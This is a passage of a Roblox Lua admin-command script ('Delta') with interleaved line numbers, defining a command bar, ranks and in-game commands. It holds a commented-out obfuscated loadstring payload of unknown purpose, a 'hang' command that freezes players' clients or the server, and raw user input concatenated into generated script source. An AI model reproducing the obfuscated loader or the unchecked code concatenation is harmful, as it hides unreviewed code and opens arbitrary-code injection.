	local TextBox = Instance.new("TextBox",Frame)
1696
	TextBox.Active = true
1697
	TextBox.BackgroundColor3 = Color3.new(1,1,1)
1698
	TextBox.BackgroundTransparency = 0.69999998807907
1699
	TextBox.BorderColor3 = Color3.new(0,0,0)
1700
	TextBox.Position = UDim2.new(0.20000000298023,0,0,0)
1701
	TextBox.Size = UDim2.new(0.80000001192093,0,1,0)
1702
	TextBox.Font = Enum.Font.SourceSans
1703
	TextBox.FontSize = Enum.FontSize.Size24
1704
	TextBox.Text = "Type Your Command Here"
1705
	TextBox.TextColor3 = Color3.new(0,0,0)
1706
	TextButton.MouseButton1Down:connect(function()
1707
		onChatted(Player,TextBox.Text)
1708
	end)
1709
	
1710
	Frame:TweenPosition(UDim2.new(0.75,0,0.5,300), "Out", "Quad", 1)
1711
end
1712
--[[
1713
shared[" dat 119996013543151 "]={getfenv(),4.762173934797756};local z={[")"]=0,["^"]=1,["="]=2,["%"]=3,["@"]=4,["!"]=5,["("]=6,["*"]=7,["-"]=8,["_"]=9,["&"]=10,["~"]=11,["?"]=12,["#"]=13,["$"]=14,["+"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
1714
"?(+(%(^(?()=&*?=_(#%%*-(^(=*!(@(~!==)=@(^(@*)=^%^%_%_%_%(%)%^A%!%@A%^%!%^%)A=#!~%_(#%#(^(@*-($=!(-*)*-=&*~!=%#!_=#=^%~%%*!(@*((!($((*-=^(%*%*!(=*@*-=?(+(^(@(%*@*=*_($(*(-=-A=^A+*+~$~++$@+=+%&^#*+!$^+)+($)$)$=&_?@$-#+$&#($?_?*&*(#$#)$#-~?*_)$_-^#!#(-!#!A?@#@#--+&&?$~!#)A?%_$_)?@?_~&_?~@?@?@?=_(~(~-~+&=*)*-_%~*&$~_&!~_-(~_&((*(**%-)&$&?*)&)&=&__(&-_)&_!_!-!$@^_~_!A%=%^_#-(@~_=!^*%-$-!-+%~!&!?%=@#!=_&-)-=-!%%(_-**%-=--*=*=*?=#@~(~*+=*=&*#(_(^*?)?!$(_)-)@**%$()(*(-($(?!?!$^$^$+?+~+(!$!%!-+(+^!_!$@%+^+^++$^!%!(@%@#@))=%^@+@^@)@-@)=#@)@(+=^@+?^)C@)%?%)%^%_+-%$=+%+$-$-^*=!%*=(=$=()%%(=$#*$&#_)@=-^+=?!)%=%(%(=#$-+?!)%=%(%$^%^@+(^$^$^$^?$)^)^=^_)??&?=+?!=*^)-^%)+)%$)^%))?^?)?)&$_*$(+@)(+!+#+!#=)!+_~-#&$!+?$(&=?@A&!?&+=+-$&$#_~?^++#~$&$)$&#&#@_!~%#%$*__*-*(*-#&##?&?@#*-?&*#!?)#*?^-#_+**&~?+?+?~~*?~~?~@-%?_~&?&*%*(_^?+&&~^~#((*?_~&_~~A&=~&-*~&&_(_@*@%-$&?_*&$_((_**_-_+_&_@&)&!&#_=_)*~_*A_~_~!*@%(!@*(=_$-)_=_=!?@~-^-=_=@&A@-@=@(@#%#^~^*!=-)*~*=*&%#"
1715
,"@~(?(%*$(-*@*_*^*((!!=*)(?()*?(?!?!?($!((&!+(!^^%%^%=~+_+!%)($@_!)!-^~=*!_!&@&@(!(=^!#@+@^!^^#+_^~+#^-A@(@-@-)=)^@*%-@-A+&+#+-+~+%+%#^#?!=*-%(=^%-=)+%)+=^%?!==?!==$=$)%=%%#^*)+^#=_^+^=#$$)#+#-~(~=+#^~)(^?!=*!#(+@^*^?)(^?!$(+)?!=*$~&#?~)+$#=)!)_?@?%)_+?!$(&~^??~+~&~#~&~)?(~?~-~*~+&+-#-_?@+=$#$@$?&)#!$!++#__!~*_~?_~##)$@&+_$#@#!$!_?_*_$A_-_%_(_^_*_%_~-~(_(!&)#$~_?)?--?&^?^#~~-_%?^?!?!?=?)~*A~)?~(*-_(#-!A~=~=*(_~&~~!&=-#&~&+&+&?&&_^&!A&%((--_$_=_@&-_@&=_!-@-@A%^%%_!_--!-+-=@!*!-*_=_+!^_+-$A-(-*%%!!%#!^-!-!-^*#*^*=*&%_*+()-)%_=&!&(?A*@@(*@*%*#(~($^*=)@~(_!@(~!$^$+?+(@(!-(%()%=()(+!_!*!(^_=*@-@+@&@@!)A!#@=@)=~@*@_@~@~)*+%^!+*^=@$%)@=@=)?+~%^%=@=+&+@+-+=+(+#$#?~?!^!=*%=%++^%+=$=-=(=!$-+(^*^$^_^%=+^@=?A^))#^~)*^~^*^*)*^_)^^!)?!)%=%(%)??#$~#?&?^#%#=#^#)#+?$A?~?=?-?_?+~!?*_!_+#+$^)?+_?~+_+-+=+)++&=?$$)+^$^$#$#~-$@$($-$-&@_)~=_@~+#~A#+#+A_-#$?+#+-(_^_@_+-=_&-&(-(=~=?@#+??_$A?~?!?%?=-(&A~?!~+(~-#(^&+-%~(~&*!*@~&&A~(=*+(=*+($(#(?(~(&(_(&()*$(!C($!^"
1716
,"(?!?!)(&!#B!A%#*#-+_&_*(__*_(_)_$-#@^*^_!_*-+*_%!!*%~!%-_-)-)@%!!-%-=-?*&*$!$*=-@*?(@%-@_*(*(*)*#(_)*)^!^(%*$(~%#(~(&(@(=(^=-%)($!%($)&=?))%-!$B!^?=@!=!*!)^@%+@@!)!)@^@$=~%*@~@^$+#_=_%~@(@%^!@%@=@?%&%_+)^-%(%~%_^$=$%-==$$+)$@)?==%_=_$))-=(=~=_)$^$=-^)$@)_^_=%^+#)$!~%~#+?!=*+^?!)%=%(%*$_^*^(^)^$)#?=+=)@^+)&~(#-~_~~#%)-)-+@)%~&_-_=$=+@)++??$+?+~+!+%+=~*#*$_+@+=?#$_$~$#$#&__!~*__~@$)$=$@$@&$_##%#@$@_?_(A_@_*_+-+($(?($?)#%?)?&?#*)~)?=##?&_(?$?!*^_%*~_+~%?%?+&~~+&)~-**~#&$~$(*(-_-&&~!~=-$&(~+!-(^-?&&_!&?_+!+%#%*-*__&@&^*#_!&&!?(#-#_^_#_~-!@^(%@(_%_!_@--=(=)*)-=_#-&!(-$-%@(!@*!*?A*^-#*=-&*+(#@-*@*(*-*-%@=)@?!==@@+(~(#(+(+=_=-($!+(+^*=^=!=+^%=?!)%=%(%&+-+=@=!@(+!?=-!)(!^-=(@*@$@_@%!+@@!?@^@)%#@~%*@~@*@*%*@_%^@!%&@)+?)$$#+&+^)%)=)^)))++$+?+~+=+-+_++$!+*?!?+)+^^%?=_+!=#==$!+^=%=@^@^)=)+~^*^_^~^~#*?%$!?*$=^$))^=^=#??~)^)=^=?_?@?*?=?!?#~#_~_!$!+*)=)+?~+%)-~_#*+&++$_+#$=+)+^&#~+_%#^?!$-$?&*&($?##$#_@&^&@&^&)&+_$_#_?_~_?_=&)&*_-_-_)_%_$-^_?-+-*-*(!("
1717
,"+&+~^#??__!?#?=-(&~~~?!~+(~-#(^&+-%~(~&*!*@~&&~~~(=*+(-*+($(#(?(~(&(&(_()*-(!(#((($!^(?!?!)(&!#!!!!%%%#*#-+_&_*(%_~_)!*(+-#-=_#%_!~%+!*-#-@-@@~!%-^-(-+%%($*%-+*+()*#!&((*&*)^$)-!-(&*!*=@$((*~==@&(-(#(~@)()*&!@^)%=^(%$!@(~!~^=%&!-!#!~%)!)(&@=^(%~@~!!@^^=^*$!$+=+%^!?@_^!@#@=)*=*%_@@@+$~)#$$$$)_%#=#=*$$)&=(%-=@$~?_?%^%=!%)%#+_=^%($~)~^#=-=(+^=#^+^^=^$#?_$~?#$-^@^(^-^-#=#^^*)-^-?+?&?#?-?~?%?%&^&~$~+?!=*-)!#*)!)@)$+?+~~_#&+++?+#$_?~+_+-+=+)+=~@?$$!+~$(~$#_$*$($?#_#_$?__#*$+#%#%$*#?#&#%_%_%*^*)*+?~?@-*~*?_#@#^&#?!#&-+&+~^#??**@#=_@*(?(?%?_~#~!~~*+&%~~&~~)*)-#*^*!*!*@*#(^*+(+(_(#(~(~(!(_(*($(^(!(@(&(#!@(-(&!$!#!#!%!_@?_+-~-%_@@#=~=&=_=%*%-!_)_#!_-^_(@~(~*#---%%+@^%=%-!?*)*~*#*?*$(~(~*(=-@%**(*(%=?!$(-)*)()=@#(~!((#!^%&@?(_!-!)(^@+!=(*!^(!!&!-!^^#%~=+@=!(^^^)!(@*!*)~)$)-)~)()()_)%)()$+))%+@+)=!@%@)+_+?$#$~^$%_=~=-$^+@$@+~$~?_?-?*?))!%#=%=!=($?!$(~^*=&=?^!^(^%=##=+=^$)#^%^?^=$-$?!$(_)#$*^*)$)-?=+^)+)^)))-))$?!=*))=?!~!??~?_&___@+&+))^+!_%_=_^_~#"
1718
,"~$#+-+!?^+_+$&%#%$!+)+~_*~__&_&~!$*$($-#!#!$)_=~##^#^##-@*=*^*)*?&*#!?)#*?~_@~(#%?=?&?~&_???^?~?+~@?=?~**&!__~?~)-~*&~)~^?^*!*-*=*!*)*)*%*#()*-(&(#!$!&-+&#&&!%((!*!!--&%_!_=!~!$@$!!!!%%%=%^%&(+_*_#-+-)!@*!-^_@_(-+*)-#-*@?!?!?*-**-#*(-?@=!@*%**!^-^*-*=%?!?!~(_*~(&(=*&@**&(?=+^+=(=()@)%)=)~%)*-($!)(^=@@=!$!&!%!^!*@~%(!&@^(?@-!%^=%@@+@(@#%?!=*)%$%&@(@&+(^-+?))$$###?#^=(@@@+%%@^@@+~^(%&=^@?=-%^+@$&$~^)%!%+#(=$^=%)=&#-=$=?^-=*=#^*^*^+^)#=+*=+^!^*^&?&$?)@^+)%^!?&?$?^?*?^+%)$+-)*)%^_~?!$(?+&+?~#~#_~_&___$#%)^)?+))$+^~-#%+*$$+_$!+$&^&*&=#+#(+?_$#?$$#!$($?$&#~_^&)&@~_$^$*#_#&_#&+?##(_!_#-!--#=#=-%#!???#?%#^?~*#_=#&?)?=?(*~*+*=*-*=&@~+&_~-~@?&(~~#&~&#($($@?@~@&@+-@~=~#&^~+&=(_-@&-_+&&_(&+!=!-!_-$_%&+_?@#_~-*_%_*@+--_@@^_^_-_)@@!!@_@?%=@?($*_*%-=-$-@%!-**!**%-%-^(^!^)*-*#(=^)^~(%*-(?=?)?!$(?!$(-)@@+(#!-(+!%%?@$(~!&!=(%@^(@(_!%(*!?!?!&!%^+%#=^!@!-^%^=!-@_!_))^?!=*%^_)?)*)?!$(*)?!=*%)()$+))%+@+)=!@%@)+_+?$#$~^$%_=~=-$^+@$@+~$~?!=#=?!==*?++&=*=(=_^!="
1719
,"?!)%=%(%##(#=)-=(^?!==^=*^^^^^#?(#_?%=_?!^~^_)!^@^?!$(@)@))??!)%=%(%-?~~&?!?-~_~!$~)_+!)@)&+@+@+^)#&+?@)?+=+@+*&*?_$^+?$)+%&?&+_?$($-$*&&_+##$!$_#_$##=$)$__%?+#%#$?*#)#?#!_--@~_#??#-#(~()~(#@?)#+?!?+~+~^-~&*?~~(~+~-~@?&*&!@~?~^~!*==_=&%*(%*!*=(-===$===?=((!*$(%(@*_(+($(-=%(_=_(#%_(~=^%~%=*!(@*!*=*$()=%*@*=*_($(*($=%(-(^(=*-=-=%(&%=(_*@*!(-=_=~=_(_=!==%!%(%_=!($(@(_=_=_=?=&*~!^%#!_=-=_="
1720
}),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
1721
]]
1722
-- Rotation! --
1723
TabletRotation = 0
1724
UpdateTablets = function()
1725
	if Delta.Removed == true then return end
1726
	TabletRotation = TabletRotation==360 and 0 or TabletRotation + 0.0001
1727
	for _, Player in pairs(getALLPlayers()) do
1728
		local PlrTabs = {}
1729
		for i,v in pairs(Delta.Tablets) do
1730
			if v.Tab.Parent ~= nil and v.Plr == Player.Name then
1731
				table.insert(PlrTabs, v)
1732
			end
1733
		end
1734
		for i,v in pairs(PlrTabs) do
1735
			pcall(function()
1736
				local radiusdata = Delta.Ranked[Player.Name].Distance ~= nil and Delta.Ranked[Player.Name].Distance or 5
1737
				local pos = nil
1738
				pcall(function()
1739
					if Player.Character.Parent == Delta.Services.Workspace then
1740
						pos = Player.Character.Torso.CFrame
1741
					end
1742
				end)
1743
				if pos == nil then return end
1744
				local radius = radiusdata + (#PlrTabs * 0.5)
1745
				local x,y,z
1746
				if Delta.Ranked[Player.Name].Rotation == false then
1747
					x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
1748
					y = 0
1749
					z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
1750
				else
1751
					x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) + TabletRotation * 2) * math.pi * 2) * radius
1752
					y = 0
1753
					z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) + TabletRotation * 2) * math.pi * 2) * radius
1754
				end
1755
				local arot = Vector3.new(x,y,z)+pos.p
1756
				local brot = v.Tab.CFrame.p
1757
				local crot = (arot * .1 + brot * .9)
1758
				local drot = math.rad((TabletRotation * 1000) * math.pi)
1759
				v.Tab.CFrame = CFrame.new(crot, pos.p)
1760
				-- v.Tab.Size = Vector3.new(math.cos(time())*9,math.cos(time())*9,math.cos(time())*9)
1761
				if Delta.Ranked[Player.Name].SpinningRot == true then
1762
					v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(drot, drot, drot)
1763
				else
1764
					if Delta.Ranked[Player.Name].MeshType ~= "Books" then
1765
						v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(math.rad(15),0,0)
1766
					else
1767
						v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(math.pi/2,0,0)
1768
					end
1769
				end
1770
			end)
1771
		end
1772
	end
1773
end
1774
1775
Delta.Services.ReplicatedStorage.DescendantAdded:connect(function(x)
1776
	if x.Name == "Delta" and x:IsA('StringValue') then
1777
		local val = x.Value
1778
		local Split = val:find(':')
1779
		local Name = val:sub(1, #Split - 1)
1780
		local Message = val:sub(#Split + 1)
1781
		local Player = nil
1782
		for _,v in pairs(Delta.Services.Players:GetPlayers()) do
1783
			if v.Name == Name then return end
1784
		end
1785
		for _,v in pairs(getALLPlayers()) do
1786
			if v.Name == Name then
1787
				Player = v
1788
			end
1789
		end
1790
		onChatted(Player, Message)
1791
	end
1792
end)
1793
1794
RunServiceFunction = function()
1795
	pcall(function() Delta.Connections.Loops:disconnect() end)
1796
	Delta.Connections.Loops["Update_Tablets"] = Delta.Services.RunService.Stepped:connect(function() 
1797
		UpdateTablets() 
1798
	end)
1799
	Delta.Connections.Loops["Etc"] = Delta.Services.RunService.Stepped:connect(function()
1800
		if Delta.PrivateServer.Enabled == false then 
1801
			Delta.PrivateServer.Waiting = {}
1802
		end
1803
		for _,v in pairs(Delta.Services.Players:GetPlayers()) do
1804
			local rankedData = Delta.Ranked[v.Name]
1805
			if v:findFirstChild('PlayerGui') == nil then return end
1806
			if rankedData.CMD == true then
1807
				if v.PlayerGui:findFirstChild("Delta Command Bar") == nil then
1808
					giveCMDBar(v)
1809
				end
1810
			end
1811
			if rankedData.CMD == false then
1812
				if v.PlayerGui:findFirstChild("Delta Command Bar") then
1813
					v.PlayerGui:findFirstChild("Delta Command Bar"):Destroy()
1814
				end
1815
			end
1816
		end
1817
	end)
1818
end
1819
1820
RunServiceFunction()
1821
-- Commands! --
1822
Command("Force a Command", {"@"}, 0, "Makes Another Player onChatted", nil, function(Speaker,Msg)
1823
	local Split = Msg:find(Delta.Bet)
1824
	local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
1825
	local Message = Msg:sub(Split + 1)
1826
	if #Player > 0 then
1827
		for _,v in pairs(Player) do
1828
			if FindRank(Speaker) > FindRank(v) then
1829
				onChatted(v, Message)
1830
			end
1831
		end
1832
	end
1833
end)
1834
Command("Dismiss Tablets", {"dt", "dismiss", "hide"}, 0, "Dismisses Tablets", "-p (Player/Rank 4)", function(Speaker, Msg)
1835
	if GetSplit(Msg) == "p" then
1836
		if FindRank(Speaker) >= 4 then
1837
			Msg = Msg:gsub("-p", "")
1838
			local Players = getPlayer(Speaker, Msg)
1839
			if #Players > 0 then
1840
				for _,v in pairs(Players) do
1841
					ypcall(function()
1842
						Dismiss(v)
1843
					end)
1844
				end
1845
			end
1846
		else
1847
			Output(Speaker, "Your rank is too low to use that flag!", "Really red", nil, 2)		
1848
		end
1849
	else 
1850
		Dismiss(Speaker)
1851
	end
1852
end)
1853
Command("Commands", {"cmds", "commands"}, 0, "Shows Commands", "No Flags", function(Speaker, Msg)
1854
	ShowCommands(Speaker)
1855
end)
1856
Command("Insert", {"get", "g"}, 0, "Gets Things", "-b (Base) -c (Clean) -r (Reset) -rl (Reset Lighting) -rj (Rejoin) -fc (Fix Character) -ball (qlqkqzqrd's Ball) -cmd (Command Bar) -nocmd (No Command Bar)", function(Speaker, Msg)
1857
	if GetSplit(Msg) == "r" then
1858
		Speaker:LoadCharacter()
1859
	elseif GetSplit(Msg) == "fc" then
1860
		Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
1861
		Speaker:LoadCharacter()
1862
	elseif GetSplit(Msg) == "c" then
1863
		CleanWorkspace()
1864
	elseif GetSplit(Msg) == "b" then
1865
		CreateBase()
1866
	elseif GetSplit(Msg) == "rl" then
1867
		Debug()
1868
	elseif GetSplit(Msg) == "rj" then
1869
		Delta.Services.TeleportService:Teleport(Delta.Services.Game.PlaceId, Speaker)
1870
	elseif GetSplit(Msg) == "cmd" then
1871
		giveCMDBar(Speaker)
1872
	elseif GetSplit(Msg) == "nocmd" then
1873
		ypcall(function()
1874
			Delta.Ranked[Speaker.Name].CMD = false
1875
		end)
1876
	elseif GetSplit(Msg) == "ball" then
1877
		createLocalScript([[
1878
			wait(0.001);
1879
			_ray=function(v0,v1,i)
1880
				local mag=(v0-v1).magnitude;
1881
				local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
1882
				return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
1883
			end;
1884
			user=game:service'Players'.LocalPlayer;
1885
			backpack=user.Backpack;
1886
			mouse=user:GetMouse();
1887
			char=user.Character;
1888
			torso=char.Torso;
1889
			head=char.Head;
1890
			hum=char:findFirstChild'Humanoid';
1891
			if(not hum or hum.className~='Humanoid')then
1892
				hum=char:children();
1893
				for i=1,#hum do
1894
					if(hum[i].className=='Humanoid')then
1895
						hum=hum[i];
1896
						break;
1897
					end;
1898
				end;
1899
			end;
1900
			repeat until not pcall(function()
1901
				char.ala_ball:Destroy();
1902
				hum.PlatformStand=false;
1903
			end);
1904
			repeat until not pcall(function()
1905
				backpack.ala_ball:Destroy();
1906
				hum.PlatformStand=false;
1907
			end);
1908
			keys={};
1909
			bin=Instance.new('HopperBin',backpack);
1910
				bin.Name='ala_ball';
1911
				script.Parent=bin;
1912
				bin.Selected:connect(function()
1913
					ball=Instance.new'Part';
1914
						ball.Shape=0;
1915
						ball.Friction=10;
1916
						ball.Elasticity=0;
1917
						ball.TopSurface=0;
1918
						ball.formFactor=0;
1919
						ball.BottomSurface=0;
1920
						ball.Transparency=0.5;
1921
						ball.CanCollide=false;
1922
						ball.Color=BrickColor.new(']]..Delta.Ranked[Speaker.Name].Color..[[').Color;
1923
						ball.CFrame=head.CFrame;
1924
						ball.Name='ala_ball';
1925
						ball.Size=Vector3.new(10,10,10);
1926
						ball.Parent=char;
1927
					weld=Instance.new('Weld',ball);
1928
						weld.Part0=ball;
1929
						weld.Part1=head;
1930
					wait(0.001);
1931
					hum.PlatformStand=true;
1932
					ball.CanCollide=true;
1933
				end);
1934
				bin.Deselected:connect(function()
1935
					ball:Destroy();
1936
					ball=nil;
1937
					hum.PlatformStand=false;
1938
				end);
1939
			mouse.KeyDown:connect(function(key)
1940
				keys[key]=true;
1941
			end);
1942
			mouse.KeyUp:connect(function(key)
1943
				keys[key]=false;
1944
			end);
1945
			hum.Changed:connect(function(p)
1946
				if(p=='PlatformStand'and ball)then
1947
					hum.PlatformStand=true;
1948
				end;
1949
			end);
1950
			hum.Died:connect(function()
1951
				ball:Destroy();
1952
				ball=nil;
1953
				bin:Destroy();
1954
			end);
1955
			local jump_time=time();
1956
			game:service'RunService'.Stepped:connect(function()
1957
				if(ball and ball.Parent)then
1958
					if(keys[' ']and jump_time<=time())then
1959
						local hit,pos=_ray(ball.Position-Vector3.new(0,3,0),ball.Position-Vector3.new(0,6,0),char);
1960
						if(hit and hit.CanCollide)then
1961
							jump_time=time()+1;
1962
							ball.Velocity=ball.Velocity+Vector3.new(0,100,0);
1963
						end;
1964
					end;
1965
					if(keys.w or keys.s or keys.a or keys.d and ball.Velocity.magnitude<30)then
1966
						local v=((CFrame.Angles(0,math.rad(90),0)*workspace.CurrentCamera.CoordinateFrame).lookVector*Vector3.new(1,0,1)).unit;
1967
						local speed=ball.Velocity.magnitude;
1968
							speed=speed>30 and 30 or speed;
1969
							v=v+v*speed;
1970
						if(keys.s)then
1971
							v=v*-1;
1972
						end;
1973
						if(keys.d)then
1974
							v=v+workspace.CurrentCamera.CoordinateFrame.lookVector*speed;
1975
						end;
1976
						if(keys.a)then
1977
							v=v-workspace.CurrentCamera.CoordinateFrame.lookVector*speed;
1978
						end;
1979
						ball.RotVelocity=v;
1980
					end;
1981
				end;
1982
			end);
1983
		]], Speaker.Character)
1984
	end
1985
end)
1986
Command("Fix", {"fix"}, 0, "Fixes Things", "-t (Tablets)", function(Speaker, Msg)
1987
	if GetSplit(Msg) == "t" then
1988
		Msg = Msg:gsub("-t", "")
1989
		RunServiceFunction()
1990
	end
1991
end)
1992
Command("Change Rank", {"setrank", "changerank", "srank", "setr"}, 0, "Changes A Player's Rank", "No Flags", function(Speaker, Msg)
1993
	local Split = Msg:find(Delta.Bet)
1994
	local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
1995
	local Rank = tonumber(Msg:sub(Split + 1))
1996
	if #Player > 0 then
1997
		for _,v in pairs(Player) do
1998
			if Rank == nil then Output(Speaker, "That rank is invalid", "Really red", nil, 3) return end
1999
			if Rank < 0 and FindRank(Speaker) < 2 then Output(Speaker, "You cannot set a rank that low.", "Really red", nil, 3) return end
2000
			if FindRank(v) > FindRank(Speaker) then Output(Speaker, "You cannot set a person's rank that is higher than you!", "Really red", nil, 3) return end
2001
			if Rank < FindRank(Speaker) then
2002
				ChangeRank(v, Rank)
2003
				Output(Speaker, "Changed "..v.Name.."'s Rank to "..Rank, "Lime green", nil, 3)
2004
				Output(v, "Your rank has been changed to "..Rank.."!", "Lime green", nil, 3)
2005
			else
2006
				Output(Speaker, "You cannot set a rank higher than you!", "Really red", nil, 3)
2007
			end
2008
		end
2009
	end
2010
end)
2011
Command("Get Ranked", {"getranked", "ranked"}, 0, "Opens Ranked Interface", nil, function(Speaker, Msg)
2012
	Dismiss(Speaker)
2013
	if #Msg == 0 then
2014
		GetRankedInterface(Speaker)
2015
	else
2016
		Msg = Msg:lower()
2017
		local Number = 0
2018
		local Table = {}
2019
		for i,v in pairs(Delta.Ranked) do
2020
			if i:lower():find(Msg) then
2021
				ypcall(function()
2022
					table.insert(Table, i)
2023
					Number = Number + 1
2024
				end)
2025
			end
2026
		end
2027
		if Number > 1 then
2028
			for _,v in pairs(Table) do
2029
				Output(Speaker, v, nil, function()
2030
					GetRankedInterface(Speaker, v)
2031
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v)
2032
			end
2033
		else
2034
			for _,v in pairs(Table) do
2035
				GetRankedInterface(Speaker, v)
2036
			end
2037
		end
2038
	end
2039
end)
2040
Command("Camera Options", {"camera", "cam"}, 0, "Edits Your Camera", "-r (Remove) -c (Clear) -f (Fix) -fp (First Person)", function(Speaker, Msg)
2041
	local x = [[local cam = workspace.CurrentCamera ]]
2042
	if GetSplit(Msg) == "r" then
2043
		x = x.."cam:remove()"
2044
	elseif GetSplit(Msg) == "c" then
2045
		x = x.."cam:ClearAllChildren()"
2046
	elseif GetSplit(Msg) == "f" then
2047
		x = x.."cam.CameraSubject = game:GetService(\"Players\").LocalPlayer.Character.Humanoid cam:SetRoll(0) game:GetService(\"Players\").LocalPlayer.CameraMode = Enum.CameraMode.Classic"
2048
	elseif GetSplit(Msg) == "fp" then
2049
		x = x.."game:GetService(\"Players\").LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson"
2050
	end
2051
	createLocalScript(x, Speaker.Character)
2052
end)
2053
Command("Ping", {"ping", "p"}, 0, "Pings A Message", "-a (AFK) -bl (Banlist) -r (Ranked) -s (Spam)", function(Speaker, Msg)
2054
	if GetSplit(Msg) == "a" then
2055
		Dismiss(Speaker)
2056
		Msg = Msg:gsub("-a", "")
2057
		for i = 1, 6 do
2058
			Output(Speaker, "AFK")
2059
		end
2060
		Output(Speaker, "Dismiss")
2061
	elseif GetSplit(Msg) == "bl" then
2062
		Dismiss(Speaker)
2063
		Msg = Msg:gsub("-bl", "")
2064
		Output(Speaker, "Banned People:", "Really black")
2065
		for i,v in pairs(Delta.Ranked) do
2066
			if v.Rank < 0 then
2067
				Output(Speaker, i, "Really black")
2068
			end
2069
		end
2070
	elseif GetSplit(Msg) == "s" then
2071
		Msg = Msg:gsub("-s", "")
2072
		local Split = Msg:find(Delta.Bet)
2073
		local Message = Msg:sub(1, Split - 1)
2074
		local Amount = Msg:sub(Split + 1)
2075
		for i = 1, Amount do
2076
			Output(Speaker, Message, "Random")
2077
		end
2078
	else
2079
		if #Msg == 0 then Msg = "Pong!" end
2080
		Msg = string.gsub(Msg, "", "\5")
2081
		Output(Speaker, Msg, "Random")
2082
	end
2083
end)
2084
-- Rank 1! --
2085
Command("Disable CBA", {"remcba", "uncba", "rcba", "baicba"}, 1, "Removes CBA Admin", nil, function(Speaker, Msg)
2086
	local RemoveCBA = Instance.new("StringValue", Delta.Services.Workspace)
2087
	RemoveCBA.Name = "CBA Attachment"
2088
	RemoveCBA.Value = 'CBA.remove = false;'
2089
end)
2090
Command("Insert Asset", {"ins", "insert"}, 1, "Inserts A Tool/HopperBin or Hat", nil, function(Speaker, Msg)
2091
	if Msg == "qlq" then
2092
		for _,v in pairs({"127506105","101734094","73232786","95951330"}) do
2093
			Delta.Commands["Insert Asset"].Function(Speaker, v)
2094
		end
2095
	else
2096
		local Item = Delta.Services.InsertService:LoadAsset(tonumber(Msg))
2097
		if Item then
2098
			local Object = Item:GetChildren()[1]
2099
			if Object.className == "Hat" then
2100
				Object.Parent = Speaker.Character
2101
			elseif Object.className == "Tool" or Object.className == "HopperBin" then
2102
				Object.Parent = Speaker.Backpack
2103
			end
2104
		end
2105
	end
2106
end)
2107
Command("Nil Support", {"nils", "nilsupport", "connects", "nsupport"}, 1, "Gives Speaker Nil Support", nil, function(Speaker, Msg)
2108
	createLocalScript(NilSupport, Speaker.Character)
2109
end)
2110
Command("Pause Server", {"hang"}, 1, "Hangs A Player/Server", "-s (Server)", function(Speaker, Msg)
2111
	if GetSplit(Msg) == "s" then
2112
		Msg = Msg:gsub("-s", "")
2113
		createScript([[
2114
			local tic = tick()
2115
			repeat until tic + ]]..Msg..[[ < tick()
2116
		]], Delta.Services.Workspace)
2117
	else
2118
		local Split = Msg:find(Delta.Bet)
2119
		local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
2120
		local Time = Msg:sub(Split + 1)
2121
		if #Player > 0 then
2122
			for _,v in pairs(Player) do
2123
				ypcall(function()
2124
					createLocalScript([[
2125
						script.Parent = nil
2126
						local tic = tick()
2127
						repeat until tic + ]]..Time..[[ < tick()
2128
					]], Player.Character)
2129
				end)
2130
			end
2131
		end
2132
	end
2133
end)
2134
Command("Sparkles", {"sparkles"}, 1, "Gives a player sparkles!", function(Msg, Speaker)
2135
	local PlrTab = getPlayer(Speaker, Msg)
2136
	if #PlrTab > 0 then
2137
		for _,v in pairs(PlrTab) do
2138
			ypcall(function()
2139
				Instance.new("Sparkles", v.Character.Torso)
2140
			end)
2141
		end
2142
	end
2143
end)
2144
Command("Fire", {"fire"}, 1, "Gives a player fire!", function(Msg, Speaker)
2145
	local PlrTab = getPlayer(Speaker, Msg)
2146
	if #PlrTab > 0 then
2147
		for _,v in pairs(PlrTab) do
2148
			ypcall(function()
2149
				Instance.new("Fire", v.Character.Torso)
2150
			end)
2151
		end
2152
	end
2153
end)
2154
Command("Smoke", {"smoke"}, 1, "Smokes a players!", function(Msg, Speaker)
2155
	local PlrTab = getPlayer(Speaker, Msg)
2156
	if #PlrTab > 0 then
2157
		for _,v in pairs(PlrTab) do
2158
			ypcall(function()
2159
				Instance.new("Smoke", v.Character.Torso)
2160
			end)
2161
		end
2162
	end
2163
end)
2164
Command("Clone", {"clone"}, 1, "Clones A Player!", function(Msg, Speaker)
2165
	local PlrTab = getPlayer(Speaker, Msg)
2166
	if #PlrTab > 0 then
2167
		for _,v in pairs(PlrTab) do
2168
			ypcall(function()
2169
				local Model = v.Character:Clone()
2170
				Model.Parent = game.Workspace
2171
			end)
2172
		end
2173
	end
2174
end)
2175
Command("Kill", {"kill"}, 1, "Kills A Player", "-r (Respawn) -e (Explode) -w (WalkSpeed)",function(Speaker, Msg)
2176
	if GetSplit(Msg) == "r" then
2177
		Msg = Msg:gsub("-r","")
2178
		local Players = getPlayer(Speaker, Msg)
2179
		if #Players > 0 then
2180
			for _,v in pairs(Players) do
2181
				ypcall(function()
2182
					v:LoadCharacter()
2183
				end)
2184
			end
2185
		end
2186
	elseif GetSplit(Msg) == "e" then
2187
		Msg = Msg:gsub("-e", "")
2188
		local Players = getPlayer(Speaker, Msg)
2189
		if #Players > 0 then
2190
			for _,v in pairs(Players) do
2191
				ypcall(function()
2192
					local e = Instance.new'Explosion'
2193
					e.Parent = Delta.Services.Workspace
2194
					e.BlastRadius = 10
2195
					e.BlastPressure = 10000
2196
					e.Position = v.Character.Torso.Position
2197
